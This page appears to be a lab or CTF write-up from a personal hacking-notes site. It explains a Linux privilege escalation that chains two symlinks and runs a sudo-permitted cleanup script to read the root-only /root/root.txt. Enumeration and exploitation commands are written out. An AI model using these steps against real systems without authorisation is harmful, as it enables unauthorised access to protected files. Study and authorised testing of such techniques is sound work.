> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/sudoers/sudo-double-symlink-linux-privilege-escalation.md).
# Sudo Double Symlink - Linux Privilege Escalation
Sudo (double symbolic link) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.
## What It Is
Sudoers privilege escalation starts with the commands a user can run through `sudo`. Misconfigured binaries, unsafe script arguments, symlink handling, and vulnerable sudo versions can turn limited sudo rights into a root shell. This specific page focuses on **Sudo (double symbolic link)** and keeps the exploitation flow practical: identify the condition, validate it safely, then run the smallest payload needed to prove impact.
## Enumeration
Start by confirming the local context and the exact misconfiguration before running the exploit path.
```bash
sudo -l
sudo --version
```
## Examples
### SUDO - Clean/\_synLink.sh
We are looking for a vulnerability that allows for privilege escalation. We discover a file with SUID permissions.
#### **Symlink Cleanup Script Analysis**
> We analyze a script called `clean_symlink.sh`, which checks if the file provided as an argument is a symlink pointing to a `.png` file. If the symlink points to a critical file, the script deletes it. Otherwise, it moves the symlink to the `/var/quarantined/` directory. If the environment variable `CHECK_CONTENT` is set to `true`, the script attempts to read the contents of the file.
Here is the command to create the symlinks needed for operation:
```bash
ln -s /root/root.txt flag.txt
ln -s /home/bob/flag.txt flag.png
```
Then we run the script with the following command to get the root flag:
```bash
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/flag.png
```
We thus obtain the flag `root.txt`.
---
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